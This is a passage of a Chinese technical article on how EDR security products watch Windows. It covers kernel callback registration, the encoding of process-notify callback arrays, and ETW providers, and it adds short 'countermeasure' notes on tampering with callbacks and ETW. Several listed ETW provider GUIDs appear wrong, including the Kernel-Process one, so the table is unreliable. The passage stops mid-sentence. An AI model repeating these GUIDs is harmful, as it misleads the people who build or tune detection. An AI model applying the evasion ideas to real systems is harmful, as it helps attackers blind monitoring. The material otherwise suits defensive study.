solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">REG_CALLBACK_CONTEXT</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">CmRegister</span></code></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">对象管理</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">ObRegisterCallbacks</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">句柄操作(打开/复制)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">OB_CALLBACK_CONTEXT</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">ObRegister</span></code></td></tr></tbody></table></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">回调函数存储结构：</span></strong><span leaf=""> 回调以指针数组形式存储在内核中（如 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">PspCreateProcessNotifyRoutine[]</span></code><span leaf="">），每个元素编码了回调函数地址和启用状态（最低2位为标志位：bit0=启用，bit1=是否Ex版本），实际地址 = </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">entry &amp; ~3</span></code><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">对抗思路</span></strong><span leaf="">：这些回调函数地址存储在内核内存中，理论上可以被定位并修改。但现代 EDR 会保护这些回调表，直接修改会触发 PatchGuard (KPP)。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">1.3 ETW（Event Tracing for Windows）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">ETW 是 Windows 内置的事件追踪系统，EDR 通过订阅特定 Provider 获取细粒度事件：</span></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">Provider GUID</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">Provider 名称</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">监控内容</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">事件级别</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">{F4A2C69D-12A7-4D73-B8F1-8F2B5E3F8D3A}</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Microsoft-Windows-Threat-Intelligence</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内核行为（进程/线程/镜像加载）</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Critical</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">{22FB2CD6-0E7B-422B-A0C7-2F8DF4794EE0}</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Microsoft-Windows-Kernel-Process</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程生命周期事件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Information</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">{7B921740-4380-44E6-9DE6-3F4E62D1E3A0}</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Microsoft-Windows-Kernel-ImageLoad</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">模块加载事件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Information</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">{E7EF15BE-2D2B-419B-9E4A-5ED9C3E08D3A}</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Microsoft-Windows-DotNETRuntime</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">.NET 运行时事件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Information</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">{647B8910-39A0-4CA7-8570-2E04D2B32E7A}</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Microsoft-Antimalware-Scan-Interface</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">AMSI 扫描结果</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Verbose</span></p></td></tr></tbody></table></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ETW 数据流架构：</span></strong></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3611111111111111" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100013053" src="https://wechat2rss.xlab.app/img-proxy/?k=87032b26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FM5H82XuSHY5prnkwiaPfawK7XxxMOGYiaias3ib34n5P2YGjPF0vrbNyiaA0yXFib96gXibySIVz436JA75s2oGdha5JEFG4L9Dgo9ZSOfWEozj7U8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="color: rgb(136, 136, 136);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"></figcaption></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">对抗思路</span></strong><span leaf="">：ETW 事件在用户态通过 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 